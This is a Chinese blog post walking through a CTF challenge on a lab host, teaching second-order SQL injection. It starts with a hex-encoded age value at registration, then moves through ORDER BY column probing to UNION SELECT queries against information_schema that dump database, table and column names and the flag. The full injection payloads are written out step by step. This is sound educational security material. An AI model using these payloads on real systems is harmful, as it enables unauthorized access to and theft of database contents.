二次注入的学习--Buy Flag(http://10.112.68.215:10002)
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171708234-244542336.png)
这次有做一个二次注入的天枢CTF题目,算是完整地理解了一遍注入的知识。来,启航。
1.判断注入点
经过对题目的实践分析,知道注册时需要输入年龄大于18岁,但在登录后界面,年龄因为太大不能接触flag。问题在年龄上,在找各种框框,锁定目标在注册时年龄框框那儿了。接下来是重点了。
之前的实践已知,正常的小于18岁的数字是通不过注册的,尝试使用十六进制(数据库可以解析十六进制为真正的数据哦)。
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171630222-1215170250.png)
1的十六进制通过了,emmmmm,这里是注入点。调皮地尝试登陆看看flag。
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171658245-1634262326.png)
提示信息没有显示flag。找到注入点当然只是个开始咯,接下来利用注入点。
2.判断注入类型
注入类型有两种:数字和字符注入。根据构造的逻辑错误语句反馈的结果判断注入类型,如果返回界面和之前界面不一样,则说明是此注入类型。
尝试数字注入。1 and 1=2 -- (猜测它是mysql数据库)
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171728044-1428811830.png)
用刚注册的账户成功登录,界面和之前界面一样。说明不是数字注入。
尝试字符注入。1' and 1=2 --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171834633-1961797089.png)
看见没,显示的界面发生了变化,说明此错误语句被执行,此注入属于字符注入。
3.判断字段。
1' order by 1 --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171906926-1307099715.png)
当字段为1时,回显内容。
1' order by 2 --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120171949269-2033009596.png)
当字段为2时,无回显内容。说明能够在界面回显的字段只有一个。
4.依次查出flag
第一步查出数据库。
1' and 1=2 union select group_concat(schema_name) from information_schema.schemata --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120172021157-490033938.png)
很明显,【childhappy】是目标数据库。
第二步查表名。
1' and 1=2 union select group_concat(table_name) from information_schema.tables where table_schema='childhappy' --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120172044439-1868753936.png)
emmmmmmmmmmm,猜测py_flag是目标表。
第三步查列名。
1' and 1=2 union select group_concat(column_name) from information_schema.columns where table_schema='childhappy' and table_name='py_flag' --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120172101385-142143999.png)
好,tsctf_fla9里面应该有我们需要的东西。
第四步获取flag。
1' and 1=2 union select group_concat(tsctf_fla9) from childhappy.py_flag --
![](https://img2018.cnblogs.com/blog/990054/201901/990054-20190120172117428-1511298452.png)
好嘞,愉快地结束。
Yestoday is history, tomorrow is a mystery, but today is a gift.That is why it's called "present". --《Kung Fu Panda》